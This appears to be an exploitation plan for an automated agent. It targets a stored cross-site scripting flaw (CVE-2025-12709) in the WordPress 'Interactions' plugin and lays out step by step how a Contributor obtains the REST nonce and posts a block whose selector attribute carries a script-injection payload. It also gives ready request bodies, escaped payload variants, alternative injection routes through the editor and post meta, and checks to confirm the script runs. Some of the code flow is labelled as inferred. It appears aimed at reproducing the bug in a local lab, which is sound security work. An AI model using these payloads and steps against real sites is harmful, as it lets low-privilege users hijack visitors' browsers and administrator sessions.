Interactions – Create Interactive Experiences in the Block Editor <= 1.3.1 - Authenticated (Contributor+) Stored Cross-Site Scripting

This research plan focuses on CVE-2025-12709, a Stored Cross-Site Scripting vulnerability in the "Interactions" plugin. The vulnerability stems from improper sanitization of "event selectors" within the block editor, allowing Contributor-level users to inject malicious scripts.

---

1. Vulnerability Summary

The Interactions plugin allows users to create interactive elements within the WordPress Block Editor (Gutenberg). These interactions typically involve a "Trigger" and an "Action," often targeting specific elements via CSS selectors. The vulnerability exists because the plugin fails to sanitize or escape the event selector attribute when it is saved in the block metadata and subsequently rendered on the frontend. Since Contributor-level users can create and edit posts but do not have the unfiltered_html capability, they can bypass intended security restrictions by embedding a script payload within a block's selector attribute.

2. Attack Vector Analysis

• Endpoint: WordPress REST API Post endpoint (/wp-json/wp/v2/posts/ or /wp-json/wp/v2/pages/).
• Vulnerable Parameter: The content of the post, specifically the JSON attributes within the Interaction block comment (e.g., <!-- wp:interactions/interaction {"selector":"<PAYLOAD>"} /-->).
• Authentication: Contributor-level access or higher is required.
• Preconditions: The plugin must be active, and the attacker must have permission to create or edit posts.

3. Code Flow (Inferred)

1. Storage: A user saves a post containing an Interaction block. The Block Editor serializes the block into the post_content field in the wp_posts table.
2. Attributes: The block's attributes (including the selector) are stored as a JSON string within the HTML comment delimiters: <!-- wp:interactions/interaction {"selector":"..."} /-->.
3. Frontend Loading: When a visitor views the post, the WordPress core parses the blocks. The plugin's frontend logic (likely in a file like src/render.php or via a render_callback in register_block_type) retrieves the attributes.
4. The Sink: The plugin renders the interaction logic. It likely outputs the selector into a JavaScript object or a data-attribute (e.g., <div data-selector="[SELECTOR]">).
5. Lack of Escaping: Because the selector is not processed with esc_attr() or wp_kses() before being printed to the page, a payload like "><script>alert(1)</script> breaks out of the attribute/context and executes.

4. Nonce Acquisition Strategy

To save a post via the REST API (the standard method for the Block Editor), a REST API nonce is required.

1. Login: Authenticate as a Contributor.
2. Access Editor: Navigate to the "New Post" screen (/wp-admin/post-new.php).
3. Extract Nonce: The REST API nonce is globally available in the admin dashboard within the wpApiSettings object.
4. Tool Command:
   • browser_navigate("http://localhost:8080/wp-admin/post-new.php")
   • nonce = browser_eval("window.wpApiSettings.nonce")
5. Alternative: If the plugin uses a custom AJAX handler for saving interaction data, check for localized variables using browser_eval("window.interactions_data?.nonce") (inferred).

5. Exploitation Strategy

Step 1: Craft the Block Content

Identify the block name used by the plugin. Based on the slug, it is likely interactions/interaction or interactions/event.
Payload: "><script>alert(document.domain)</script>

Post Content Construction:

<!-- wp:interactions/interaction {"selector":"\u0022\u003escript\u003ealert(document.domain)\u003c/script\u003e"} -->
<div class="wp-block-interactions-interaction"></div>
<!-- /wp:interactions/interaction -->

Step 2: Submit via REST API

Use the http_request tool to create a new post as the Contributor.

• URL: http://localhost:8080/wp-json/wp/v2/posts
• Method: POST
• Headers:
  • Content-Type: application/json
  • X-WP-Nonce: [EXTRACTED_NONCE]
• Body:

  {
    "title": "Interactions Test",
    "content": "<!-- wp:interactions/interaction {\"selector\":\"\\\"><script>alert(document.domain)</script>\"} /-->",
    "status": "publish"
  }
  

Step 3: Trigger the XSS

1. Identify the ID or URL of the created post from the REST API response.
2. Navigate to the post URL (frontend).
3. Observe if the script executes.

6. Test Data Setup

1. User: Create a user with the contributor role.
2. Plugin: Ensure the interactions plugin (v1.3.1) is installed and active.
3. Clean State: Ensure no other plugins are interfering with block rendering.

7. Expected Results

• The REST API call should return 201 Created.
• When the post is viewed at /?p=[ID], the HTML source should contain the unescaped payload:
  data-selector=""><script>alert(document.domain)</script>" (or similar depending on the exact rendering sink).
• The browser should trigger an alert box showing the document domain.

8. Verification Steps

1. Database Check: Use WP-CLI to verify the payload is stored in the database exactly as sent.
   wp db query "SELECT post_content FROM wp_posts WHERE post_title='Interactions Test'"
2. Frontend DOM Check: Use browser_eval to check for the presence of the script tag.
   browser_eval("document.querySelector('script').textContent.includes('alert')")
3. Role Verification: Confirm the user does NOT have unfiltered_html.
   wp user cap list [USER_ID]

9. Alternative Approaches

• Gutenberg Editor Injection: Instead of the REST API, use browser_navigate to post-new.php, use browser_type to inject the payload directly into the "Selector" input field in the block's sidebar settings, and click "Publish". This simulates a real user interaction.
• Block Variations: If the "Interaction" block has different subtypes (e.g., "Click", "Hover"), test if the selector attribute is handled differently across these subtypes.
• Post Meta Sink: If the plugin stores selectors in post_meta rather than block attributes, use the REST API to update meta fields:
  "meta": {"_interactions_selector": "\"><script>alert(1)</script>"}.